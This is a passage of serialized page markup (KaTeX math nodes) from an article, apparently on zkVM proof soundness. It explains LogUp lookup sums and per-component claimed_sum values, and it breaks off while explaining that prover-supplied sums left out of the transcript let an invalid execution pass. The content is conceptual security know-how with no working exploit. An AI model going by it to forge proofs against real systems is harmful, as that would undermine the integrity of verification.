9],"nulldelimiter",[],{"type":25,"tag":201,"props":114652,"children":114655},{"className":114653},[114654],"mfrac",[114656],{"type":25,"tag":201,"props":114657,"children":114659},{"className":114658},[5534,23137],[114660,114742],{"type":25,"tag":201,"props":114661,"children":114663},{"className":114662},[5539],[114664,114737],{"type":25,"tag":201,"props":114665,"children":114668},{"className":114666,"style":114667},[5544],"height:0.8451em;",[114669,114702,114716],{"type":25,"tag":201,"props":114670,"children":114672},{"style":114671},"top:-2.655em;",[114673,114677],{"type":25,"tag":201,"props":114674,"children":114676},{"className":114675,"style":113302},[5553],[],{"type":25,"tag":201,"props":114678,"children":114680},{"className":114679},[5559,5560,5561,5562],[114681],{"type":25,"tag":201,"props":114682,"children":114684},{"className":114683},[5513,5562],[114685,114692,114697],{"type":25,"tag":201,"props":114686,"children":114689},{"className":114687,"style":114688},[5513,23083,5562],"margin-right:0.04398em;",[114690],{"type":31,"value":114691},"z",{"type":25,"tag":201,"props":114693,"children":114695},{"className":114694},[5599,5562],[114696],{"type":31,"value":5573},{"type":25,"tag":201,"props":114698,"children":114700},{"className":114699},[5513,23083,5562],[114701],{"type":31,"value":71},{"type":25,"tag":201,"props":114703,"children":114705},{"style":114704},"top:-3.23em;",[114706,114710],{"type":25,"tag":201,"props":114707,"children":114709},{"className":114708,"style":113302},[5553],[],{"type":25,"tag":201,"props":114711,"children":114715},{"className":114712,"style":114714},[114713],"frac-line","border-bottom-width:0.04em;",[],{"type":25,"tag":201,"props":114717,"children":114719},{"style":114718},"top:-3.394em;",[114720,114724],{"type":25,"tag":201,"props":114721,"children":114723},{"className":114722,"style":113302},[5553],[],{"type":25,"tag":201,"props":114725,"children":114727},{"className":114726},[5559,5560,5561,5562],[114728],{"type":25,"tag":201,"props":114729,"children":114731},{"className":114730},[5513,5562],[114732],{"type":25,"tag":201,"props":114733,"children":114735},{"className":114734},[5513,5562],[114736],{"type":31,"value":5516},{"type":25,"tag":201,"props":114738,"children":114740},{"className":114739},[23240],[114741],{"type":31,"value":23243},{"type":25,"tag":201,"props":114743,"children":114745},{"className":114744},[5539],[114746],{"type":25,"tag":201,"props":114747,"children":114750},{"className":114748,"style":114749},[5544],"height:0.4033em;",[114751],{"type":25,"tag":201,"props":114752,"children":114753},{},[],{"type":25,"tag":201,"props":114755,"children":114757},{"className":114756},[23234,114649],[],{"type":25,"tag":201,"props":114759,"children":114761},{"className":114760,"style":5691},[5593],[],{"type":25,"tag":201,"props":114763,"children":114765},{"className":114764},[5696],[114766],{"type":31,"value":1383},{"type":25,"tag":201,"props":114768,"children":114770},{"className":114769,"style":5691},[5593],[],{"type":25,"tag":201,"props":114772,"children":114774},{"className":114773},[5502],[114775,114779,114851,114855],{"type":25,"tag":201,"props":114776,"children":114778},{"className":114777,"style":114563},[5507],[],{"type":25,"tag":201,"props":114780,"children":114782},{"className":114781},[23119],[114783,114788],{"type":25,"tag":201,"props":114784,"children":114786},{"className":114785,"style":23126},[23119,23124,23125],[114787],{"type":31,"value":109926},{"type":25,"tag":201,"props":114789,"children":114791},{"className":114790},[5529],[114792],{"type":25,"tag":201,"props":114793,"children":114795},{"className":114794},[5534,23137],[114796,114840],{"type":25,"tag":201,"props":114797,"children":114799},{"className":114798},[5539],[114800,114835],{"type":25,"tag":201,"props":114801,"children":114804},{"className":114802,"style":114803},[5544],"height:0.1864em;",[114805],{"type":25,"tag":201,"props":114806,"children":114807},{"style":23150},[114808,114812],{"type":25,"tag":201,"props":114809,"children":114811},{"className":114810,"style":5554},[5553],[],{"type":25,"tag":201,"props":114813,"children":114815},{"className":114814},[5559,5560,5561,5562],[114816],{"type":25,"tag":201,"props":114817,"children":114819},{"className":114818},[5513,5562],[114820,114825,114830],{"type":25,"tag":201,"props":114821,"children":114823},{"className":114822},[5513,23083,5562],[114824],{"type":31,"value":4729},{"type":25,"tag":201,"props":114826,"children":114828},{"className":114827},[5696,5562],[114829],{"type":31,"value":23190},{"type":25,"tag":201,"props":114831,"children":114833},{"className":114832,"style":114535},[5513,23083,5562],[114834],{"type":31,"value":114538},{"type":25,"tag":201,"props":114836,"children":114838},{"className":114837},[23240],[114839],{"type":31,"value":23243},{"type":25,"tag":201,"props":114841,"children":114843},{"className":114842},[5539],[114844],{"type":25,"tag":201,"props":114845,"children":114847},{"className":114846,"style":114633},[5544],[114848],{"type":25,"tag":201,"props":114849,"children":114850},{},[],{"type":25,"tag":201,"props":114852,"children":114854},{"className":114853,"style":5632},[5593],[],{"type":25,"tag":201,"props":114856,"children":114858},{"className":114857},[5513],[114859,114863,114956],{"type":25,"tag":201,"props":114860,"children":114862},{"className":114861},[23212,114649],[],{"type":25,"tag":201,"props":114864,"children":114866},{"className":114865},[114654],[114867],{"type":25,"tag":201,"props":114868,"children":114870},{"className":114869},[5534,23137],[114871,114945],{"type":25,"tag":201,"props":114872,"children":114874},{"className":114873},[5539],[114875,114940],{"type":25,"tag":201,"props":114876,"children":114878},{"className":114877,"style":114667},[5544],[114879,114909,114920],{"type":25,"tag":201,"props":114880,"children":114881},{"style":114671},[114882,114886],{"type":25,"tag":201,"props":114883,"children":114885},{"className":114884,"style":113302},[5553],[],{"type":25,"tag":201,"props":114887,"children":114889},{"className":114888},[5559,5560,5561,5562],[114890],{"type":25,"tag":201,"props":114891,"children":114893},{"className":114892},[5513,5562],[114894,114899,114904],{"type":25,"tag":201,"props":114895,"children":114897},{"className":114896,"style":114688},[5513,23083,5562],[114898],{"type":31,"value":114691},{"type":25,"tag":201,"props":114900,"children":114902},{"className":114901},[5599,5562],[114903],{"type":31,"value":5573},{"type":25,"tag":201,"props":114905,"children":114907},{"className":114906},[5513,23083,5562],[114908],{"type":31,"value":4729},{"type":25,"tag":201,"props":114910,"children":114911},{"style":114704},[114912,114916],{"type":25,"tag":201,"props":114913,"children":114915},{"className":114914,"style":113302},[5553],[],{"type":25,"tag":201,"props":114917,"children":114919},{"className":114918,"style":114714},[114713],[],{"type":25,"tag":201,"props":114921,"children":114922},{"style":114718},[114923,114927],{"type":25,"tag":201,"props":114924,"children":114926},{"className":114925,"style":113302},[5553],[],{"type":25,"tag":201,"props":114928,"children":114930},{"className":114929},[5559,5560,5561,5562],[114931],{"type":25,"tag":201,"props":114932,"children":114934},{"className":114933},[5513,5562],[114935],{"type":25,"tag":201,"props":114936,"children":114938},{"className":114937},[5513,5562],[114939],{"type":31,"value":5516},{"type":25,"tag":201,"props":114941,"children":114943},{"className":114942},[23240],[114944],{"type":31,"value":23243},{"type":25,"tag":201,"props":114946,"children":114948},{"className":114947},[5539],[114949],{"type":25,"tag":201,"props":114950,"children":114952},{"className":114951,"style":114749},[5544],[114953],{"type":25,"tag":201,"props":114954,"children":114955},{},[],{"type":25,"tag":201,"props":114957,"children":114959},{"className":114958},[23234,114649],[],{"type":25,"tag":34,"props":114961,"children":114962},{},[114963,114965,114990],{"type":31,"value":114964},"for random challenge ",{"type":25,"tag":115,"props":114966,"children":114968},{"className":114967},[5485,5486],[114969],{"type":25,"tag":201,"props":114970,"children":114972},{"className":114971},[5491],[114973],{"type":25,"tag":201,"props":114974,"children":114976},{"className":114975,"ariaHidden":5497},[5496],[114977],{"type":25,"tag":201,"props":114978,"children":114980},{"className":114979},[5502],[114981,114985],{"type":25,"tag":201,"props":114982,"children":114984},{"className":114983,"style":111972},[5507],[],{"type":25,"tag":201,"props":114986,"children":114988},{"className":114987,"style":114688},[5513,23083],[114989],{"type":31,"value":114691},{"type":31,"value":114991},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":25,"tag":34,"props":114993,"children":114994},{},[114995,115000],{"type":25,"tag":1252,"props":114996,"children":114997},{},[114998],{"type":31,"value":114999},"In zkVMs:",{"type":31,"value":115001}," Different components emit and consume lookup tuples:",{"type":25,"tag":18183,"props":115003,"children":115004},{},[115005,115092],{"type":25,"tag":6948,"props":115006,"children":115007},{},[115008,115010,115036,115038,115063,115065,115091],{"type":31,"value":115009},"CPU emits: \"I read value ",{"type":25,"tag":115,"props":115011,"children":115013},{"className":115012},[5485,5486],[115014],{"type":25,"tag":201,"props":115015,"children":115017},{"className":115016},[5491],[115018],{"type":25,"tag":201,"props":115019,"children":115021},{"className":115020,"ariaHidden":5497},[5496],[115022],{"type":25,"tag":201,"props":115023,"children":115025},{"className":115024},[5502],[115026,115030],{"type":25,"tag":201,"props":115027,"children":115029},{"className":115028,"style":111972},[5507],[],{"type":25,"tag":201,"props":115031,"children":115033},{"className":115032,"style":94617},[5513,23083],[115034],{"type":31,"value":115035},"v",{"type":31,"value":115037}," from address ",{"type":25,"tag":115,"props":115039,"children":115041},{"className":115040},[5485,5486],[115042],{"type":25,"tag":201,"props":115043,"children":115045},{"className":115044},[5491],[115046],{"type":25,"tag":201,"props":115047,"children":115049},{"className":115048,"ariaHidden":5497},[5496],[115050],{"type":25,"tag":201,"props":115051,"children":115053},{"className":115052},[5502],[115054,115058],{"type":25,"tag":201,"props":115055,"children":115057},{"className":115056,"style":111972},[5507],[],{"type":25,"tag":201,"props":115059,"children":115061},{"className":115060},[5513,23083],[115062],{"type":31,"value":71},{"type":31,"value":115064}," at time ",{"type":25,"tag":115,"props":115066,"children":115068},{"className":115067},[5485,5486],[115069],{"type":25,"tag":201,"props":115070,"children":115072},{"className":115071},[5491],[115073],{"type":25,"tag":201,"props":115074,"children":115076},{"className":115075,"ariaHidden":5497},[5496],[115077],{"type":25,"tag":201,"props":115078,"children":115080},{"className":115079},[5502],[115081,115086],{"type":25,"tag":201,"props":115082,"children":115085},{"className":115083,"style":115084},[5507],"height:0.6151em;",[],{"type":25,"tag":201,"props":115087,"children":115089},{"className":115088},[5513,23083],[115090],{"type":31,"value":23225},{"type":31,"value":1557},{"type":25,"tag":6948,"props":115093,"children":115094},{},[115095,115097,115122,115124,115149,115151,115176],{"type":31,"value":115096},"Memory table consumes: \"At time ",{"type":25,"tag":115,"props":115098,"children":115100},{"className":115099},[5485,5486],[115101],{"type":25,"tag":201,"props":115102,"children":115104},{"className":115103},[5491],[115105],{"type":25,"tag":201,"props":115106,"children":115108},{"className":115107,"ariaHidden":5497},[5496],[115109],{"type":25,"tag":201,"props":115110,"children":115112},{"className":115111},[5502],[115113,115117],{"type":25,"tag":201,"props":115114,"children":115116},{"className":115115,"style":115084},[5507],[],{"type":25,"tag":201,"props":115118,"children":115120},{"className":115119},[5513,23083],[115121],{"type":31,"value":23225},{"type":31,"value":115123},", address ",{"type":25,"tag":115,"props":115125,"children":115127},{"className":115126},[5485,5486],[115128],{"type":25,"tag":201,"props":115129,"children":115131},{"className":115130},[5491],[115132],{"type":25,"tag":201,"props":115133,"children":115135},{"className":115134,"ariaHidden":5497},[5496],[115136],{"type":25,"tag":201,"props":115137,"children":115139},{"className":115138},[5502],[115140,115144],{"type":25,"tag":201,"props":115141,"children":115143},{"className":115142,"style":111972},[5507],[],{"type":25,"tag":201,"props":115145,"children":115147},{"className":115146},[5513,23083],[115148],{"type":31,"value":71},{"type":31,"value":115150}," contained ",{"type":25,"tag":115,"props":115152,"children":115154},{"className":115153},[5485,5486],[115155],{"type":25,"tag":201,"props":115156,"children":115158},{"className":115157},[5491],[115159],{"type":25,"tag":201,"props":115160,"children":115162},{"className":115161,"ariaHidden":5497},[5496],[115163],{"type":25,"tag":201,"props":115164,"children":115166},{"className":115165},[5502],[115167,115171],{"type":25,"tag":201,"props":115168,"children":115170},{"className":115169,"style":111972},[5507],[],{"type":25,"tag":201,"props":115172,"children":115174},{"className":115173,"style":94617},[5513,23083],[115175],{"type":31,"value":115035},{"type":31,"value":1557},{"type":25,"tag":34,"props":115178,"children":115179},{},[115180],{"type":31,"value":115181},"If everything balances, the execution is consistent.",{"type":25,"tag":34,"props":115183,"children":115184},{},[115185,115190],{"type":25,"tag":1252,"props":115186,"children":115187},{},[115188],{"type":31,"value":115189},"The claimed_sum:",{"type":31,"value":115191}," Each component computes its contribution to the LogUp sum:",{"type":25,"tag":34,"props":115193,"children":115194},{},[115195],{"type":25,"tag":115,"props":115196,"children":115198},{"className":115197},[5485,5486],[115199],{"type":25,"tag":201,"props":115200,"children":115202},{"className":115201},[5491],[115203],{"type":25,"tag":201,"props":115204,"children":115206},{"className":115205,"ariaHidden":5497},[5496],[115207,115305,115556],{"type":25,"tag":201,"props":115208,"children":115210},{"className":115209},[5502],[115211,115215,115225,115230,115292,115296,115301],{"type":25,"tag":201,"props":115212,"children":115214},{"className":115213,"style":95544},[5507],[],{"type":25,"tag":201,"props":115216,"children":115218},{"className":115217},[5513,31],[115219],{"type":25,"tag":201,"props":115220,"children":115222},{"className":115221},[5513],[115223],{"type":31,"value":115224},"claimed",{"type":25,"tag":201,"props":115226,"children":115228},{"className":115227,"style":94131},[5513],[115229],{"type":31,"value":4589},{"type":25,"tag":201,"props":115231,"children":115233},{"className":115232},[5513],[115234,115243],{"type":25,"tag":201,"props":115235,"children":115237},{"className":115236},[5513,31],[115238],{"type":25,"tag":201,"props":115239,"children":115241},{"className":115240},[5513],[115242],{"type":31,"value":77716},{"type":25,"tag":201,"props":115244,"children":115246},{"className":115245},[5529],[115247],{"type":25,"tag":201,"props":115248,"children":115250},{"className":115249},[5534,23137],[115251,115281],{"type":25,"tag":201,"props":115252,"children":115254},{"className":115253},[5539],[115255,115276],{"type":25,"tag":201,"props":115256,"children":115258},{"className":115257,"style":94660},[5544],[115259],{"type":25,"tag":201,"props":115260,"children":115262},{"style":115261},"top:-2.55em;margin-right:0.05em;",[115263,115267],{"type":25,"tag":201,"props":115264,"children":115266},{"className":115265,"style":5554},[5553],[],{"type":25,"tag":201,"props":115268,"children":115270},{"className":115269},[5559,5560,5561,5562],[115271],{"type":25,"tag":201,"props":115272,"children":115274},{"className":115273},[5513,23083,5562],[115275],{"type":31,"value":3641},{"type":25,"tag":201,"props":115277,"children":115279},{"className":115278},[23240],[115280],{"type":31,"value":23243},{"type":25,"tag":201,"props":115282,"children":115284},{"className":115283},[5539],[115285],{"type":25,"tag":201,"props":115286,"children":115288},{"className":115287,"style":94214},[5544],[115289],{"type":25,"tag":201,"props":115290,"children":115291},{},[],{"type":25,"tag":201,"props":115293,"children":115295},{"className":115294,"style":5691},[5593],[],{"type":25,"tag":201,"props":115297,"children":115299},{"className":115298},[5696],[115300],{"type":31,"value":1383},{"type":25,"tag":201,"props":115302,"children":115304},{"className":115303,"style":5691},[5593],[],{"type":25,"tag":201,"props":115306,"children":115308},{"className":115307},[5502],[115309,115314,115374,115378,115543,115547,115552],{"type":25,"tag":201,"props":115310,"children":115313},{"className":115311,"style":115312},[5507],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":25,"tag":201,"props":115315,"children":115317},{"className":115316},[23119],[115318,115323],{"type":25,"tag":201,"props":115319,"children":115321},{"className":115320,"style":23126},[23119,23124,23125],[115322],{"type":31,"value":109926},{"type":25,"tag":201,"props":115324,"children":115326},{"className":115325},[5529],[115327],{"type":25,"tag":201,"props":115328,"children":115330},{"className":115329},[5534,23137],[115331,115362],{"type":25,"tag":201,"props":115332,"children":115334},{"className":115333},[5539],[115335,115357],{"type":25,"tag":201,"props":115336,"children":115339},{"className":115337,"style":115338},[5544],"height:0.162em;",[115340],{"type":25,"tag":201,"props":115341,"children":115342},{"style":23150},[115343,115347],{"type":25,"tag":201,"props":115344,"children":115346},{"className":115345,"style":5554},[5553],[],{"type":25,"tag":201,"props":115348,"children":115350},{"className":115349},[5559,5560,5561,5562],[115351],{"type":25,"tag":201,"props":115352,"children":115355},{"className":115353,"style":115354},[5513,23083,5562],"margin-right:0.05724em;",[115356],{"type":31,"value":10164},{"type":25,"tag":201,"props":115358,"children":115360},{"className":115359},[23240],[115361],{"type":31,"value":23243},{"type":25,"tag":201,"props":115363,"children":115365},{"className":115364},[5539],[115366],{"type":25,"tag":201,"props":115367,"children":115370},{"className":115368,"style":115369},[5544],"height:0.4358em;",[115371],{"type":25,"tag":201,"props":115372,"children":115373},{},[],{"type":25,"tag":201,"props":115375,"children":115377},{"className":115376,"style":5632},[5593],[],{"type":25,"tag":201,"props":115379,"children":115381},{"className":115380},[5513],[115382,115386,115539],{"type":25,"tag":201,"props":115383,"children":115385},{"className":115384},[23212,114649],[],{"type":25,"tag":201,"props":115387,"children":115389},{"className":115388},[114654],[115390],{"type":25,"tag":201,"props":115391,"children":115393},{"className":115392},[5534,23137],[115394,115527],{"type":25,"tag":201,"props":115395,"children":115397},{"className":115396},[5539],[115398,115522],{"type":25,"tag":201,"props":115399,"children":115401},{"className":115400,"style":114667},[5544],[115402,115491,115502],{"type":25,"tag":201,"props":115403,"children":115404},{"style":114671},[115405,115409],{"type":25,"tag":201,"props":115406,"children":115408},{"className":115407,"style":113302},[5553],[],{"type":25,"tag":201,"props":115410,"children":115412},{"className":115411},[5559,5560,5561,5562],[115413],{"type":25,"tag":201,"props":115414,"children":115416},{"className":115415},[5513,5562],[115417,115422,115427],{"type":25,"tag":201,"props":115418,"children":115420},{"className":115419,"style":114688},[5513,23083,5562],[115421],{"type":31,"value":114691},{"type":25,"tag":201,"props":115423,"children":115425},{"className":115424},[5599,5562],[115426],{"type":31,"value":5573},{"type":25,"tag":201,"props":115428,"children":115430},{"className":115429},[5513,5562],[115431,115440],{"type":25,"tag":201,"props":115432,"children":115434},{"className":115433},[5513,31,5562],[115435],{"type":25,"tag":201,"props":115436,"children":115438},{"className":115437},[5513,5562],[115439],{"type":31,"value":63088},{"type":25,"tag":201,"props":115441,"children":115443},{"className":115442},[5529],[115444],{"type":25,"tag":201,"props":115445,"children":115447},{"className":115446},[5534,23137],[115448,115479],{"type":25,"tag":201,"props":115449,"children":115451},{"className":115450},[5539],[115452,115474],{"type":25,"tag":201,"props":115453,"children":115456},{"className":115454,"style":115455},[5544],"height:0.3281em;",[115457],{"type":25,"tag":201,"props":115458,"children":115460},{"style":115459},"top:-2.357em;margin-right:0.0714em;",[115461,115465],{"type":25,"tag":201,"props":115462,"children":115464},{"className":115463,"style":109991},[5553],[],{"type":25,"tag":201,"props":115466,"children":115468},{"className":115467},[5559,109996,109997,5562],[115469],{"type":25,"tag":201,"props":115470,"children":115472},{"className":115471,"style":115354},[5513,23083,5562],[115473],{"type":31,"value":10164},{"type":25,"tag":201,"props":115475,"children":115477},{"className":115476},[23240],[115478],{"type":31,"value":23243},{"type":25,"tag":201,"props":115480,"children":115482},{"className":115481},[5539],[115483],{"type":25,"tag":201,"props":115484,"children":115487},{"className":115485,"style":115486},[5544],"height:0.2819em;",[115488],{"type":25,"tag":201,"props":115489,"children":115490},{},[],{"type":25,"tag":201,"props":115492,"children":115493},{"style":114704},[115494,115498],{"type":25,"tag":201,"props":115495,"children":115497},{"className":115496,"style":113302},[5553],[],{"type":25,"tag":201,"props":115499,"children":115501},{"className":115500,"style":114714},[114713],[],{"type":25,"tag":201,"props":115503,"children":115504},{"style":114718},[115505,115509],{"type":25,"tag":201,"props":115506,"children":115508},{"className":115507,"style":113302},[5553],[],{"type":25,"tag":201,"props":115510,"children":115512},{"className":115511},[5559,5560,5561,5562],[115513],{"type":25,"tag":201,"props":115514,"children":115516},{"className":115515},[5513,5562],[115517],{"type":25,"tag":201,"props":115518,"children":115520},{"className":115519},[5513,5562],[115521],{"type":31,"value":5516},{"type":25,"tag":201,"props":115523,"children":115525},{"className":115524},[23240],[115526],{"type":31,"value":23243},{"type":25,"tag":201,"props":115528,"children":115530},{"className":115529},[5539],[115531],{"type":25,"tag":201,"props":115532,"children":115535},{"className":115533,"style":115534},[5544],"height:0.5423em;",[115536],{"type":25,"tag":201,"props":115537,"children":115538},{},[],{"type":25,"tag":201,"props":115540,"children":115542},{"className":115541},[23234,114649],[],{"type":25,"tag":201,"props":115544,"children":115546},{"className":115545,"style":5594},[5593],[],{"type":25,"tag":201,"props":115548,"children":115550},{"className":115549},[5599],[115551],{"type":31,"value":5573},{"type":25,"tag":201,"props":115553,"children":115555},{"className":115554,"style":5594},[5593],[],{"type":25,"tag":201,"props":115557,"children":115559},{"className":115558},[5502],[115560,115565,115623,115627],{"type":25,"tag":201,"props":115561,"children":115564},{"className":115562,"style":115563},[5507],"height:1.296em;vertical-align:-0.4509em;",[],{"type":25,"tag":201,"props":115566,"children":115568},{"className":115567},[23119],[115569,115574],{"type":25,"tag":201,"props":115570,"children":115572},{"className":115571,"style":23126},[23119,23124,23125],[115573],{"type":31,"value":109926},{"type":25,"tag":201,"props":115575,"children":115577},{"className":115576},[5529],[115578],{"type":25,"tag":201,"props":115579,"children":115581},{"className":115580},[5534,23137],[115582,115611],{"type":25,"tag":201,"props":115583,"children":115585},{"className":115584},[5539],[115586,115606],{"type":25,"tag":201,"props":115587,"children":115589},{"className":115588,"style":114803},[5544],[115590],{"type":25,"tag":201,"props":115591,"children":115592},{"style":23150},[115593,115597],{"type":25,"tag":201,"props":115594,"children":115596},{"className":115595,"style":5554},[5553],[],{"type":25,"tag":201,"props":115598,"children":115600},{"className":115599},[5559,5560,5561,5562],[115601],{"type":25,"tag":201,"props":115602,"children":115604},{"className":115603,"style":95560},[5513,23083,5562],[115605],{"type":31,"value":89768},{"type":25,"tag":201,"props":115607,"children":115609},{"className":115608},[23240],[115610],{"type":31,"value":23243},{"type":25,"tag":201,"props":115612,"children":115614},{"className":115613},[5539],[115615],{"type":25,"tag":201,"props":115616,"children":115619},{"className":115617,"style":115618},[5544],"height:0.2997em;",[115620],{"type":25,"tag":201,"props":115621,"children":115622},{},[],{"type":25,"tag":201,"props":115624,"children":115626},{"className":115625,"style":5632},[5593],[],{"type":25,"tag":201,"props":115628,"children":115630},{"className":115629},[5513],[115631,115635,115788],{"type":25,"tag":201,"props":115632,"children":115634},{"className":115633},[23212,114649],[],{"type":25,"tag":201,"props":115636,"children":115638},{"className":115637},[114654],[115639],{"type":25,"tag":201,"props":115640,"children":115642},{"className":115641},[5534,23137],[115643,115776],{"type":25,"tag":201,"props":115644,"children":115646},{"className":115645},[5539],[115647,115771],{"type":25,"tag":201,"props":115648,"children":115650},{"className":115649,"style":114667},[5544],[115651,115740,115751],{"type":25,"tag":201,"props":115652,"children":115653},{"style":114671},[115654,115658],{"type":25,"tag":201,"props":115655,"children":115657},{"className":115656,"style":113302},[5553],[],{"type":25,"tag":201,"props":115659,"children":115661},{"className":115660},[5559,5560,5561,5562],[115662],{"type":25,"tag":201,"props":115663,"children":115665},{"className":115664},[5513,5562],[115666,115671,115676],{"type":25,"tag":201,"props":115667,"children":115669},{"className":115668,"style":114688},[5513,23083,5562],[115670],{"type":31,"value":114691},{"type":25,"tag":201,"props":115672,"children":115674},{"className":115673},[5599,5562],[115675],{"type":31,"value":5573},{"type":25,"tag":201,"props":115677,"children":115679},{"className":115678},[5513,5562],[115680,115690],{"type":25,"tag":201,"props":115681,"children":115683},{"className":115682},[5513,31,5562],[115684],{"type":25,"tag":201,"props":115685,"children":115687},{"className":115686},[5513,5562],[115688],{"type":31,"value":115689},"consume",{"type":25,"tag":201,"props":115691,"children":115693},{"className":115692},[5529],[115694],{"type":25,"tag":201,"props":115695,"children":115697},{"className":115696},[5534,23137],[115698,115728],{"type":25,"tag":201,"props":115699,"children":115701},{"className":115700},[5539],[115702,115723],{"type":25,"tag":201,"props":115703,"children":115705},{"className":115704,"style":113463},[5544],[115706],{"type":25,"tag":201,"props":115707,"children":115709},{"style":115708},"top:-2.3488em;margin-right:0.0714em;",[115710,115714],{"type":25,"tag":201,"props":115711,"children":115713},{"className":115712,"style":109991},[5553],[],{"type":25,"tag":201,"props":115715,"children":115717},{"className":115716},[5559,109996,109997,5562],[115718],{"type":25,"tag":201,"props":115719,"children":115721},{"className":115720,"style":95560},[5513,23083,5562],[115722],{"type":31,"value":89768},{"type":25,"tag":201,"props":115724,"children":115726},{"className":115725},[23240],[115727],{"type":31,"value":23243},{"type":25,"tag":201,"props":115729,"children":115731},{"className":115730},[5539],[115732],{"type":25,"tag":201,"props":115733,"children":115736},{"className":115734,"style":115735},[5544],"height:0.1512em;",[115737],{"type":25,"tag":201,"props":115738,"children":115739},{},[],{"type":25,"tag":201,"props":115741,"children":115742},{"style":114704},[115743,115747],{"type":25,"tag":201,"props":115744,"children":115746},{"className":115745,"style":113302},[5553],[],{"type":25,"tag":201,"props":115748,"children":115750},{"className":115749,"style":114714},[114713],[],{"type":25,"tag":201,"props":115752,"children":115753},{"style":114718},[115754,115758],{"type":25,"tag":201,"props":115755,"children":115757},{"className":115756,"style":113302},[5553],[],{"type":25,"tag":201,"props":115759,"children":115761},{"className":115760},[5559,5560,5561,5562],[115762],{"type":25,"tag":201,"props":115763,"children":115765},{"className":115764},[5513,5562],[115766],{"type":25,"tag":201,"props":115767,"children":115769},{"className":115768},[5513,5562],[115770],{"type":31,"value":5516},{"type":25,"tag":201,"props":115772,"children":115774},{"className":115773},[23240],[115775],{"type":31,"value":23243},{"type":25,"tag":201,"props":115777,"children":115779},{"className":115778},[5539],[115780],{"type":25,"tag":201,"props":115781,"children":115784},{"className":115782,"style":115783},[5544],"height:0.4509em;",[115785],{"type":25,"tag":201,"props":115786,"children":115787},{},[],{"type":25,"tag":201,"props":115789,"children":115791},{"className":115790},[23234,114649],[],{"type":25,"tag":34,"props":115793,"children":115794},{},[115795,115797,115979],{"type":31,"value":115796},"The global check: ",{"type":25,"tag":115,"props":115798,"children":115800},{"className":115799},[5485,5486],[115801],{"type":25,"tag":201,"props":115802,"children":115804},{"className":115803},[5491],[115805],{"type":25,"tag":201,"props":115806,"children":115808},{"className":115807,"ariaHidden":5497},[5496],[115809,115966],{"type":25,"tag":201,"props":115810,"children":115812},{"className":115811},[5502],[115813,115817,115874,115878,115887,115892,115953,115957,115962],{"type":25,"tag":201,"props":115814,"children":115816},{"className":115815,"style":94073},[5507],[],{"type":25,"tag":201,"props":115818,"children":115820},{"className":115819},[23119],[115821,115826],{"type":25,"tag":201,"props":115822,"children":115824},{"className":115823,"style":23126},[23119,23124,23125],[115825],{"type":31,"value":109926},{"type":25,"tag":201,"props":115827,"children":115829},{"className":115828},[5529],[115830],{"type":25,"tag":201,"props":115831,"children":115833},{"className":115832},[5534,23137],[115834,115863],{"type":25,"tag":201,"props":115835,"children":115837},{"className":115836},[5539],[115838,115858],{"type":25,"tag":201,"props":115839,"children":115841},{"className":115840,"style":115338},[5544],[115842],{"type":25,"tag":201,"props":115843,"children":115844},{"style":23150},[115845,115849],{"type":25,"tag":201,"props":115846,"children":115848},{"className":115847,"style":5554},[5553],[],{"type":25,"tag":201,"props":115850,"children":115852},{"className":115851},[5559,5560,5561,5562],[115853],{"type":25,"tag":201,"props":115854,"children":115856},{"className":115855},[5513,23083,5562],[115857],{"type":31,"value":3641},{"type":25,"tag":201,"props":115859,"children":115861},{"className":115860},[23240],[115862],{"type":31,"value":23243},{"type":25,"tag":201,"props":115864,"children":115866},{"className":115865},[5539],[115867],{"type":25,"tag":201,"props":115868,"children":115870},{"className":115869,"style":115618},[5544],[115871],{"type":25,"tag":201,"props":115872,"children":115873},{},[],{"type":25,"tag":201,"props":115875,"children":115877},{"className":115876,"style":5632},[5593],[],{"type":25,"tag":201,"props":115879,"children":115881},{"className":115880},[5513,31],[115882],{"type":25,"tag":201,"props":115883,"children":115885},{"className":115884},[5513],[115886],{"type":31,"value":115224},{"type":25,"tag":201,"props":115888,"children":115890},{"className":115889,"style":94131},[5513],[115891],{"type":31,"value":4589},{"type":25,"tag":201,"props":115893,"children":115895},{"className":115894},[5513],[115896,115905],{"type":25,"tag":201,"props":115897,"children":115899},{"className":115898},[5513,31],[115900],{"type":25,"tag":201,"props":115901,"children":115903},{"className":115902},[5513],[115904],{"type":31,"value":77716},{"type":25,"tag":201,"props":115906,"children":115908},{"className":115907},[5529],[115909],{"type":25,"tag":201,"props":115910,"children":115912},{"className":115911},[5534,23137],[115913,115942],{"type":25,"tag":201,"props":115914,"children":115916},{"className":115915},[5539],[115917,115937],{"type":25,"tag":201,"props":115918,"children":115920},{"className":115919,"style":94660},[5544],[115921],{"type":25,"tag":201,"props":115922,"children":115923},{"style":115261},[115924,115928],{"type":25,"tag":201,"props":115925,"children":115927},{"className":115926,"style":5554},[5553],[],{"type":25,"tag":201,"props":115929,"children":115931},{"className":115930},[5559,5560,5561,5562],[115932],{"type":25,"tag":201,"props":115933,"children":115935},{"className":115934},[5513,23083,5562],[115936],{"type":31,"value":3641},{"type":25,"tag":201,"props":115938,"children":115940},{"className":115939},[23240],[115941],{"type":31,"value":23243},{"type":25,"tag":201,"props":115943,"children":115945},{"className":115944},[5539],[115946],{"type":25,"tag":201,"props":115947,"children":115949},{"className":115948,"style":94214},[5544],[115950],{"type":25,"tag":201,"props":115951,"children":115952},{},[],{"type":25,"tag":201,"props":115954,"children":115956},{"className":115955,"style":5691},[5593],[],{"type":25,"tag":201,"props":115958,"children":115960},{"className":115959},[5696],[115961],{"type":31,"value":1383},{"type":25,"tag":201,"props":115963,"children":115965},{"className":115964,"style":5691},[5593],[],{"type":25,"tag":201,"props":115967,"children":115969},{"className":115968},[5502],[115970,115974],{"type":25,"tag":201,"props":115971,"children":115973},{"className":115972,"style":95162},[5507],[],{"type":25,"tag":201,"props":115975,"children":115977},{"className":115976},[5513],[115978],{"type":31,"value":429},{"type":31,"value":80},{"type":25,"tag":34,"props":115981,"children":115982},{},[115983,115988,115990,115996],{"type":25,"tag":1252,"props":115984,"children":115985},{},[115986],{"type":31,"value":115987},"Why this is vulnerable:",{"type":31,"value":115989}," The ",{"type":25,"tag":115,"props":115991,"children":115993},{"className":115992},[],[115994],{"type":31,"value":115995},"claimed_sum",{"type":31,"value":115997}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid 